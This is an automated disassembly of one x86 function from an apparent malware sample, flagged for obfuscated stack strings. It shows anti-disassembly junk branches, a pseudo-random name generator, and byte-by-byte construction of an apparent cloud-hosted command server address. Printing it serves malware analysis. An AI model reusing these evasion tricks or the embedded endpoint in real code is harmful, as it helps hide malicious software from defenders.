Function at 0x409fe5
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2d4
push ebx
push esi
push edi
mov dword [ebp - 8], 0
mov dword [ebp - 0xb0], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0xc], 0
je 0x40a033
jne 0x40a033
push 0x654c6c45
ja 0x40a09f
push edx
insb byte es:[edi], dx
inc esp
jmp 0x40a036
jmp 0x40a039
jmp 0x40a03c
lea eax, [ebp - 0xb4]
mov dword [ebp - 0xb8], eax
mov ecx, dword [ebp - 0xb8]
and ecx, 0xffff
mov word [ebp - 4], cx
mov dword [ebp - 0x20], 0
jmp 0x40a06a
mov edx, dword [ebp - 0x20]
add edx, 1
mov dword [ebp - 0x20], edx
cmp dword [ebp - 0x20], 0xd
jge 0x40a0db
movzx eax, word [ebp - 4]
movzx ecx, word [ebp - 4]
sar ecx, 2
xor eax, ecx
movzx edx, word [ebp - 4]
sar edx, 3
xor eax, edx
movzx ecx, word [ebp - 4]
sar ecx, 5
xor eax, ecx
and eax, 1
mov dword [ebp - 0xbc], eax
movzx edx, word [ebp - 4]
sar edx, 1
mov eax, dword [ebp - 0xbc]
shl eax, 0xf
test dword [edi + edi*8 - 1], eax
inc ecx
loopne 0x40a0b6
or edx, eax
mov word [ebp - 4], dx
mov cx, word [ebp - 4]
mov word [ebp - 0xac], cx
movzx eax, word [ebp - 0xac]
and eax, 0xff
cdq
mov ecx, 0x7e
idiv ecx
add edx, 1
mov eax, dword [ebp - 0x20]
mov byte [ebp + eax - 0xd0], dl
jmp 0x40a061
invalid
mov ecx, 1
imul edx, ecx, 0xd
mov byte [ebp + edx - 0xd0], 0
push ebx
xor ebx, ebx
test ebx, ebx
jne 0x40a0f4
je 0x40a0f5
invalid
pop ebx
call fcn.0040a0fc
xor dword [esi], 0xffffff83
add dword ss:[esp], 8
ret
jmp 0x40a106
jmp 0x40a109
jmp 0x40a10c
push 0xe
lea eax, [ebp - 0x2d4]
push eax
lea ecx, [ebp - 0xd0]
push ecx
call fcn.00409a85
add esp, 0xc
mov byte [ebp - 0xa8], 0x73
mov byte [ebp - 0xa7], 0
mov byte [ebp - 0xa6], 0x65
mov byte [ebp - 0xa5], 0
mov byte [ebp - 0xa4], 0x72
mov byte [ebp - 0xa3], 0
mov byte [ebp - 0xa2], 0x76
mov byte [ebp - 0xa1], 0
mov byte [ebp - 0xa0], 0x69
mov byte [ebp - 0x9f], 0
mov byte [ebp - 0x9e], 0x63
mov byte [ebp - 0x9d], 0
mov byte [ebp - 0x9c], 0x65
mov byte [ebp - 0x9b], 0
mov byte [ebp - 0x9a], 0x2d
mov byte [ebp - 0x99], 0
add dh, al
test dword [eax - 1], ebp
invalid
jmp [ebx - 0x3a]
test dword [ecx - 1], ebp
invalid
inc dword [eax]
mov byte [ebp - 0x96], 0x36
mov byte [ebp - 0x95], 0
mov byte [ebp - 0x94], 0x69
mov byte [ebp - 0x93], 0
mov byte [ebp - 0x92], 0x79
mov byte [ebp - 0x91], 0
mov byte [ebp - 0x90], 0x6c
mov byte [ebp - 0x8f], 0
mov byte [ebp - 0x8e], 0x61
mov byte [ebp - 0x8d], 0
mov byte [ebp - 0x8c], 0x71
mov byte [ebp - 0x8b], 0
mov byte [ebp - 0x8a], 0x74
mov byte [ebp - 0x89], 0
mov byte [ebp - 0x88], 0x2d
mov byte [ebp - 0x87], 0
mov byte [ebp - 0x86], 0x31
mov byte [ebp - 0x85], 0
mov byte [ebp - 0x84], 0x33
mov byte [ebp - 0x83], 0
mov byte [ebp - 0x82], 0x31
mov byte [ebp - 0x81], 0
mov byte [ebp - 0x80], 0x39
mov byte [ebp - 0x7f], 0
mov byte [ebp - 0x7e], 0x35
mov byte [ebp - 0x7d], 0
mov byte [ebp - 0x7c], 0x38
mov byte [ebp - 0x7b], 0
mov byte [ebp - 0x7a], 0x34
mov byte [ebp - 0x79], 0
mov byte [ebp - 0x78], 0x30
mov byte [ebp - 0x77], 0
mov byte [ebp - 0x76], 0x30
mov byte [ebp - 0x75], 0
inc ebp
mov eax, dword [eax]
mov byte [ebp - 0x74], 0x39
mov byte [ebp - 0x73], 0
mov byte [ebp - 0x72], 0x2e
mov byte [ebp - 0x71], 0
mov byte [ebp - 0x70], 0x62
mov byte [ebp - 0x6f], 0
mov byte [ebp - 0x6e], 0x6a
mov byte [ebp - 0x6d], 0
mov byte [ebp - 0x6c], 0x2e
mov byte [ebp - 0x6b], 0
mov byte [ebp - 0x6a], 0x74
mov byte [ebp - 0x69], 0
mov byte [ebp - 0x68], 0x65
mov byte [ebp - 0x67], 0
mov byte [ebp - 0x66], 0x6e
mov byte [ebp - 0x65], 0
mov byte [ebp - 0x64], 0x63
mov byte [ebp - 0x63], 0
mov byte [ebp - 0x62], 0x65
mov byte [ebp - 0x61], 0